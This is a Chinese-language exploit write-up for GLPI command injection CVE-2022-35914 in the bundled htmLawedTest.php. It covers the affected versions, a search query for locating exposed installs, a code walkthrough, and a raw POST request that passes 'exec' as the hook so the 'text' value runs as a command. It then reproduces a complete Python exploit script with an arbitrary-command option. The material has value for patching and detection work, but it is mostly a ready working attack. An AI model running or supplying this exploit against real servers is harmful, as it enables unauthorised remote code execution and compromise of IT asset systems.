# GLPI htmLawedTest.php 远程命令执行漏洞 CVE-2022-35914 ## 漏洞描述 GLPI是个人开发者的一款开源IT和资产管理软件。该软件提供功能全面的IT资源管理接口,你可以用它来建立数据库全面管理IT的电脑,显示器,服务器,打印机,网络设备,电话,甚至硒鼓和墨盒等。GLPI 10.0.2及之前版本存在安全漏洞,该漏洞源于htmlawed 模块中的 `/vendor/htmlawed/htmlawed/htmLawedTest.php` 允许 PHP 代码注入。 ## 漏洞影响 ``` GLPI 10.0.2及之前版本 ``` ## 网络测绘 ``` title="GLPI" ``` ## 漏洞复现 登录页面 ![image-20221017171204621](./images/202210171712679.png) 出现问题的文件为 **htmLawedTest.php,** 来源于第三方库 PHP Labware ![image-20221017171224096](./images/202210171712160.png) ``` https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/ ``` 在 htmLawedTest.php 中接收参数并传入方法 htmLawed 中 ![image-20221017171243880](./images/202210171712972.png) 跟进文件 htmLawed.php 中 ![image-20221017171259491](./images/202210171712583.png) ``` if($C['hook']){$t = $C['hook']($t, $C, $S);} ``` 这里可以看到参数均为用户可控参数,当控制参数 hhook 为 exec 和 text 为执行的命令时就导致了命令执行漏洞 ![image-20221017171318915](./images/202210171713976.png) 验证POC ``` /vendor/htmlawed/htmlawed/htmLawedTest.php ``` ![image-20221017171343438](./images/202210171713502.png) ![image-20221017171358385](./images/202210171713454.png) 访问页面获取到 sid 与 token 后再发送请求包 ``` POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1 Host: Accept: */* Accept-Encoding: gzip, deflate Content-Length: 88 Content-Type: application/x-www-form-urlencoded token=a79cf121bde57fe0e3cc0f247f77961a&text=id&hhook=exec&sid=h1c0vk004dvulal5nj8i6en44e ``` ![image-20221017171416286](./images/202210171714358.png) ## 漏洞POC - https://github.com/cosad3s/CVE-2022-35914-poc ```python #!/usr/bin/python # -*- coding: utf-8 -*- import argparse from bs4 import BeautifulSoup import requests import sys import re requests.packages.urllib3.disable_warnings() RED = '\x1b[91m' BLUE = '\033[94m' GREEN = '\033[32m' ENDC = '\033[0m' banner=""" ______ _______ ____ ___ ____ ____ _________ ___ _ _ _ / ___\ \ / / ____| |___ \ / _ \___ \|___ \ |___ / ___|/ _ \/ | || | | | \ \ / /| _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_ | |___ \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__ _| \____| \_/ |_____| |_____|\___/_____|_____| |____/____/ /_/|_| |_| """ def main(): print(banner) parser = argparse.ArgumentParser(description='CVE-2022-35914 - GLPI - Command injection using a third-party library script') parser.add_argument('-u', type=str, required=True, dest='url', help = "URL to test") parser.add_argument('-c', type=str, required=False, dest='cmd', default = "id", help = "Command to launch (default: id)") parser.add_argument('-f', type=str, required=False, dest='hook', default = "exec", help = "PHP hook function (default: exec)") parser.add_argument('--check', action="store_true", dest='check', help = "Just check, no command execution.") parser.add_argument('--user-agent', type=str, required=False, default="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36", dest='user_agent', help = "Custom User-Agent") args = parser.parse_args() exploit(args.url, args.cmd, args.user_agent,args.check,args.hook) def exploit(url,cmd,user_agent,check,hook): uri = "/vendor/htmlawed/htmlawed/htmLawedTest.php" headers = {'User-Agent': user_agent} session = requests.Session() response_part1 = session.get(str(url)+uri, verify=False, headers=headers) if (response_part1.status_code != 200): fail() soup = BeautifulSoup(response_part1.text, 'html.parser') if (soup.title.text.find("htmLawed") == -1): fail() if (check): print(GREEN + "[+] Server potentially vulnerable to CVE-2022-35914" + ENDC) sys.exit() # Prepare POST request token_value = soup.find_all(id='token')[0]['value'] sid_value = session.cookies.get("sid") body = {"token":token_value,"text":cmd,"hhook":hook,"sid":sid_value} response_part2 = session.post(str(url)+uri, verify=False, headers=headers, data=body) parse(response_part2.text) def parse(response): soup = BeautifulSoup(response, 'html.parser') raw = soup.find_all(id='settingF')[0] return_code_search_regex = "\$spec\: (.*)" found_return_code = re.search(return_code_search_regex, raw.text, re.DOTALL).group(1) output_search_regex = "\[xml:lang\] \=\> 0\n(.*)\n\)" found_output = re.search(output_search_regex, raw.text, re.DOTALL) print(GREEN + "[+] Command output (Return code: " + found_return_code + "):" + ENDC) if (found_output != None): raw_output = found_output.group(1) cleaning_regex = ".*\=\>" cleaned_output = re.sub (cleaning_regex, "", raw_output) print(cleaned_output) def fail(): print(RED + "[-] Server not vulnerable to CVE-2022-35914" + ENDC) sys.exit() if __name__ == '__main__': main() ```